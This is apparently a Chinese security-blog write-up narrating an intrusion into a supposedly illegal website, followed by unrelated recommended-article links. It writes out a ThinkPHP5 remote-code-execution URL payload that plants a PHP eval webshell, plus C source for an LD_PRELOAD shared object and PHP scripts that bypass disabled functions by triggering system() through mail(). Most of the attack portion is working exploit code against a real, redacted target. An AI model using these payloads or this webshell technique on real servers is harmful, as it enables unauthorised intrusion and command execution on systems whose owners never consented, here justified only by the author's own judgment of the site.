您的位置 首页 其他新闻

记一次非法站点的艰难渗透 – F12sec投稿文章

首先要感谢mucn巨佬提供的鼎力相助

目标站:www.xxxx.xxxx

这里注入什么的就不用说了,没什么用,我也不发那种拖沓的过程截图了

随手一个admin出现后台 (和若依真像)

账号密码admin/1234 进去后 基本没有什么功能

发现没什么用

不过暴露了一个信息 tp建的

tp 直接拿一波exp打一下 不就完了 (感觉太顺利了就有鬼)

然后命令执行 好家伙 IP无了

看来需要手动一波 这里推荐下mucn哥哥的分享

https://github.com/mulcl/S_mucn/blob/main/RCE/Thinkphp5_RCE.md

这里首先测试一波phpinfo

好的没什么问题

写一波马

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=136.php&vars[1][1]=<?=eval($_REQUEST[HT]);?>

写入正常(不可能这么顺利吧)

顺手看看是否禁用了一些函数 我努力保持微笑 心想(蚁剑有插件 蚁剑有插件)

(注:哥斯拉和冰蝎全部阵亡 貌似就普通一句话还能打,所以这里用了蚁剑)

用了冰蝎后出现

两者都是一样的效果 如下:

接下来看到这些绿框框我就《放心》了:

再即将开始操作的时候

蚁老师?发生什么事了

看到红框大事不妙 返回web页面刷新一波 我tm又无了

完蛋 这里触及到知识盲区了 没办法 我就是这么菜 要去请教一下巨佬了

通过mucn哥哥分享的一处知识链接 去看了下https://blog.csdn.net/qq_41107295/article/details/98462891?ivk_sa=1024320u

原理:php不允许命令执行,但php可以通过LD_PRELOAD这个东西调用so文件,然后可以通过mile或error_log函数触发执行so文件。所以so文件里可以写一些命令执行的内容,那么此时也就不是php执行命令了,而是so文件执行的系统命令。

这里我vps启动下访问

这里往目录里写个写个TXT测试目标主机是不是可以出网。

可以看见成功输出了我写入的文本

挂一波代理 满血复活

利用网上大佬写的动态调用c脚本#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>externchar** environ;__attribute__ ((__constructor__)) void preload (void){ // get command line options and arg const char* cmdline = getenv(“EVIL_CMDLINE”); // unset environment variable LD_PRELOAD. // unsetenv(“LD_PRELOAD”) no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], “LD_PRELOAD”)) { environ[i][0] = ‘\0’; } } // executive command system(cmdline);}

编译一波

把编译好的.so上传到vps里。

这里我是挂了代理复活后直接又用一次操作机会将so上传至网站目录内

网上的脚本:<?php    $cmd = $_GET[“cmd”];    $out_path = $_GET[“outpath”];    $evil_cmdline = $cmd . ” > ” . $out_path . ” 2>&1″;    echo “<p> <b>cmdline</b>: ” . $evil_cmdline . “</p>”;    putenv(“EVIL_CMDLINE=” . $evil_cmdline);    $so_path = $_GET[“sopath”];    putenv(“LD_PRELOAD=” . $so_path);    mail(“message”, “”, “”, “”);    echo “<p> <b>output</b>: <br />” . nl2br(file_get_contents($out_path)) . “</p>

修改简化下脚本直接用在一句话木马上:<?php$cmd = “uname -a”;#表示执行的命令$out_path = “/tmp/by”;#so文件接收到执行命令执行后输出到这个文件里(最基本就是得有写入权限,如果没有可能还得修改c源码)$evil_cmdline = $cmd . ” > ” . $out_path . ” 2>%261″;#传递参数值putenv(“EVIL_CMDLINE=” . $evil_cmdline);$so_path = “/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;#so文件路径,一定要对putenv(“LD_PRELOAD=” . $so_path);#调用so文件mail(“message”, “”, “”, “”);#通过mile函数触发这个so文件并且执行echo “output: “

最后把这些函数给写成一行也就可以直接网页执行了。Paylaod:

HT=$cmd = “whoami”;$out_path = “/tmp/by”;$evil_cmdline = $cmd . ” > ” . $out_path . ” 2>%261″;putenv(“EVIL_CMDLINE=” . $evil_cmdline);$so_path = “/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;putenv(“LD_PRELOAD=” . $so_path);mail(“message”, “”, “”, “”);echo “output:” . file_get_contents($out_path);unlink($out_path);

成功命令执行:

作者:M78Sec_伊电童 

免责声明:若文章为网络转载内容,则文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。

为您推荐

谷歌浏览器默认为用户连接HTTPS网站而非HTTP网站

谷歌浏览器默认为用户连接HTTPS网站而非HTTP网站

基于安全考虑谷歌浏览器多年前开始就致力于推动整个互联网迁移到加密网络,即使用数字签名加密网络间流量。 目前全球大多数网站...
VRRP原理与配置 – 简述VRRP的作用及工作原理

VRRP原理与配置 – 简述VRRP的作用及工作原理

VRRP(虚拟路由冗余协议):通过把几台路由设备联合组成一台虚拟路由设备,将虚拟路由设备的ip地址作为用户的默认网关地址...
工信部等三部门发布《网络产品安全漏洞管理规定》 自9月1日起施行

工信部等三部门发布《网络产品安全漏洞管理规定》 自9月1日起施行

据工信部网站7月13日消息,工信部、国家网信办、公安部发布通知,将《网络产品安全漏洞管理规定》(以下简称《规定》)予以发...
CVE-2019-14287(Linux sudo漏洞)分析

CVE-2019-14287(Linux sudo漏洞)分析

sudo 被爆光一个漏洞,非授权的特权用户可以绕过限制获得特权。官方的修复公告请见:https://www.sudo.w...

F12sec安全团队招新

加入要求 对威胁情报、WEB安全、移动安全、IOT、二进制等任意一项有过经验且感兴趣在校大学生或网络安全从业者无黑灰产背...
返回顶部